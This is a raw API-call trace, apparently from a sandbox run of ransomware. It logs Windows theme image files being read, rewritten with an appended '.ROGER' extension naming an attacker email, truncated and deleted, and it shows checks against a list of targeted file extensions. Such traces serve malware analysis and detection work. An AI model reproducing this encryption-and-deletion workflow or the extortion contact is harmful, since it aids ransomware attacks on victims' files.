0x20 [0047.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.143] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.143] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.144] GetLastError () returned 0x0 [0047.144] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x8864, lpOverlapped=0x0) returned 1 [0047.146] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x8870, lpOverlapped=0x0) returned 1 [0047.147] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.147] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.147] SetEndOfFile (hFile=0x36c) returned 1 [0047.148] CloseHandle (hObject=0x36c) returned 1 [0047.148] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.148] SetEndOfFile (hFile=0x3e4) returned 1 [0047.149] CloseHandle (hObject=0x3e4) returned 1 [0047.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.149] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0047.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.149] lstrlenW (lpString=".doc") returned 4 [0047.149] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.149] lstrlenW (lpString=".docx") returned 5 [0047.149] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.149] lstrlenW (lpString=".pdf") returned 4 [0047.149] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.149] lstrlenW (lpString=".xls") returned 4 [0047.149] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.149] lstrlenW (lpString=".xlsx") returned 5 [0047.149] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.149] lstrlenW (lpString=".ppt") returned 4 [0047.150] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString=".zip") returned 4 [0047.150] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.150] lstrlenW (lpString=".rar") returned 4 [0047.150] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.150] lstrlenW (lpString=".bz2") returned 4 [0047.150] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString=".7z") returned 3 [0047.150] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString=".dbf") returned 4 [0047.150] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString=".1cd") returned 4 [0047.150] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString=".jpg") returned 4 [0047.150] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.150] lstrlenW (lpString=".doc") returned 4 [0047.150] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString=".docx") returned 5 [0047.150] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.150] lstrlenW (lpString=".pdf") returned 4 [0047.150] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.150] lstrlenW (lpString=".xls") returned 4 [0047.150] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.150] lstrlenW (lpString=".xlsx") returned 5 [0047.150] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.151] lstrlenW (lpString=".ppt") returned 4 [0047.151] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.151] lstrlenW (lpString=".zip") returned 4 [0047.151] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.151] lstrlenW (lpString=".rar") returned 4 [0047.151] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.151] lstrlenW (lpString=".bz2") returned 4 [0047.151] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.151] lstrlenW (lpString=".7z") returned 3 [0047.151] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.151] lstrlenW (lpString=".dbf") returned 4 [0047.151] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.151] lstrlenW (lpString=".1cd") returned 4 [0047.151] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0047.151] lstrlenW (lpString=".jpg") returned 4 [0047.151] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.151] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.151] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.152] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=2181) returned 1 [0047.152] CloseHandle (hObject=0x3e4) returned 1 [0047.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0047.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.153] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.153] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.154] GetLastError () returned 0x0 [0047.154] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x885, lpOverlapped=0x0) returned 1 [0047.155] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x890, lpOverlapped=0x0) returned 1 [0047.156] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.156] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.157] SetEndOfFile (hFile=0x36c) returned 1 [0047.157] CloseHandle (hObject=0x36c) returned 1 [0047.157] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.157] SetEndOfFile (hFile=0x3e4) returned 1 [0047.158] CloseHandle (hObject=0x3e4) returned 1 [0047.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.158] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.158] lstrlenW (lpString=".doc") returned 4 [0047.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.158] lstrlenW (lpString=".docx") returned 5 [0047.158] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.158] lstrlenW (lpString=".pdf") returned 4 [0047.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.158] lstrlenW (lpString=".xls") returned 4 [0047.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.158] lstrlenW (lpString=".xlsx") returned 5 [0047.158] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.158] lstrlenW (lpString=".ppt") returned 4 [0047.158] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.158] lstrlenW (lpString=".zip") returned 4 [0047.158] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.158] lstrlenW (lpString=".rar") returned 4 [0047.159] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString=".bz2") returned 4 [0047.159] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.159] lstrlenW (lpString=".7z") returned 3 [0047.159] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString=".dbf") returned 4 [0047.159] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString=".1cd") returned 4 [0047.159] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString=".jpg") returned 4 [0047.159] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString=".doc") returned 4 [0047.159] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.159] lstrlenW (lpString=".docx") returned 5 [0047.159] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.159] lstrlenW (lpString=".pdf") returned 4 [0047.159] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString=".xls") returned 4 [0047.159] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString=".xlsx") returned 5 [0047.159] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.159] lstrlenW (lpString=".ppt") returned 4 [0047.159] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.159] lstrlenW (lpString=".zip") returned 4 [0047.159] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.159] lstrlenW (lpString=".rar") returned 4 [0047.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.160] lstrlenW (lpString=".bz2") returned 4 [0047.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.160] lstrlenW (lpString=".7z") returned 3 [0047.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.160] lstrlenW (lpString=".dbf") returned 4 [0047.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.160] lstrlenW (lpString=".1cd") returned 4 [0047.160] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0047.160] lstrlenW (lpString=".jpg") returned 4 [0047.160] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.160] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.160] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.413] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=20627) returned 1 [0047.413] CloseHandle (hObject=0x370) returned 1 [0047.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 0x20 [0047.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.414] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.414] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.414] GetLastError () returned 0x0 [0047.414] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x5093, lpOverlapped=0x0) returned 1 [0047.418] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x50a0, lpOverlapped=0x0) returned 1 [0047.419] ReadFile (in: hFile=0x370, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.419] WriteFile (in: hFile=0x3d8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.419] SetEndOfFile (hFile=0x3d8) returned 1 [0047.420] CloseHandle (hObject=0x3d8) returned 1 [0047.420] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.420] SetEndOfFile (hFile=0x370) returned 1 [0047.421] CloseHandle (hObject=0x370) returned 1 [0047.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.421] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png")) returned 1 [0047.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.421] lstrlenW (lpString=".doc") returned 4 [0047.421] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.421] lstrlenW (lpString=".docx") returned 5 [0047.421] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.421] lstrlenW (lpString=".pdf") returned 4 [0047.421] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.421] lstrlenW (lpString=".xls") returned 4 [0047.421] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.421] lstrlenW (lpString=".xlsx") returned 5 [0047.422] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.422] lstrlenW (lpString=".ppt") returned 4 [0047.422] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString=".zip") returned 4 [0047.422] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.422] lstrlenW (lpString=".rar") returned 4 [0047.422] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.422] lstrlenW (lpString=".bz2") returned 4 [0047.422] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString=".7z") returned 3 [0047.422] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString=".dbf") returned 4 [0047.422] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString=".1cd") returned 4 [0047.422] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString=".jpg") returned 4 [0047.422] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.422] lstrlenW (lpString=".doc") returned 4 [0047.422] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString=".docx") returned 5 [0047.422] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.422] lstrlenW (lpString=".pdf") returned 4 [0047.422] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.422] lstrlenW (lpString=".xls") returned 4 [0047.422] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.423] lstrlenW (lpString=".xlsx") returned 5 [0047.423] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.423] lstrlenW (lpString=".ppt") returned 4 [0047.423] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.423] lstrlenW (lpString=".zip") returned 4 [0047.423] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.423] lstrlenW (lpString=".rar") returned 4 [0047.423] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.423] lstrlenW (lpString=".bz2") returned 4 [0047.423] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.423] lstrlenW (lpString=".7z") returned 3 [0047.423] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.423] lstrlenW (lpString=".dbf") returned 4 [0047.423] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.423] lstrlenW (lpString=".1cd") returned 4 [0047.423] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0047.423] lstrlenW (lpString=".jpg") returned 4 [0047.423] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.423] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.423] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.848] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=33009) returned 1 [0047.848] CloseHandle (hObject=0x390) returned 1 [0047.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 